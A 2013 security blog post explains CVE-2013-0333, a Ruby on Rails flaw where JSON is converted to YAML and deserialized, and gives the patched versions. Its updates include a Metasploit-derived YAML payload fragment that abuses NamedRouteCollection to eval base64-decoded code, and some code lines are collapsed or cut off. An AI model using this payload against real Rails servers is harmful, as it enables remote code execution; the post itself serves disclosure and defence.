Monday, January 28, 2013

CVE-2013-0333 - Ruby On Rails: JSON Parser Derailed

Yet another vulnerability Ruby on Rails vulnerability has been patched today.
Official(ish) notification here: Google Groups: Ruby on Rails Security

This time, instead of XML being used to pass raw POST data as an argument to the backend, the problem lies in the JSON (which was originally considered the work around for CVE 2013-0156) parser which transforms JSON into YAML, which is in turn passed through a YAML parser. This leads to a very similar attack, abusing !ruby/hash:ActionController::Routing::RouteSet::NamedRouteCollection, that was previously thought patched in ROR 2.3.x and 3.0.x.

Here's a look at the problem (activesupport/lib/active_support/json/backends/yaml.rb)

# Parses a JSON string or IO and converts it into an object
         def decode(json)              if json.respond_to?(:read)                 json =            end            YAML.load(convert_json_to_yaml(json))         rescue *EXCEPTIONS => e
           raise ParseError, "Invalid JSON string: '%s'" % json

The bold part is important. This is what further encodes arbitrary user input into a format that supports serialization and deserialization of arbitrary data types by the Yaml parser. Once again, this includes reserved Symbols and arbitrary objects.However, instead of a combination of XML and Yaml, JSON converted into Yaml is the culprit.

The fix replaces the Yaml backend (activesupport/lib/active_support/json/backends/yaml.rb), which allowed single quoted ('foo') strings, with OkJson (activesupport/lib/active_support/json/backends/okjson.rb). The fixed versions are identified as: 3.0.20 and 2.3.16. Due to the similarity to the previous vulnerabilities earlier this month, this is likely to quickly be utilized in the wild. Expect probes soon.

Update 1: POC here:

encoded_yaml = yaml.gsub(':','\u003a') 

Update 2: Sample of Metasploit Module Code, based on the previous XML/YAML Vuln

  1. !ruby/hash\:ActionDispatch\:\:Routing\:\:RouteSet\:\:NamedRouteCollection\n" +                        "'#{Rex::Text.rand_text_alpha(rand(8)+1)}; " +                        "eval(%[#{code}].unpack(%[m0])[0]);' " +                        "\: !ruby/object:OpenStruct\n table\:\n  \:defaults\: {}\n"                yaml.gsub(':','\u003a')

1 comment: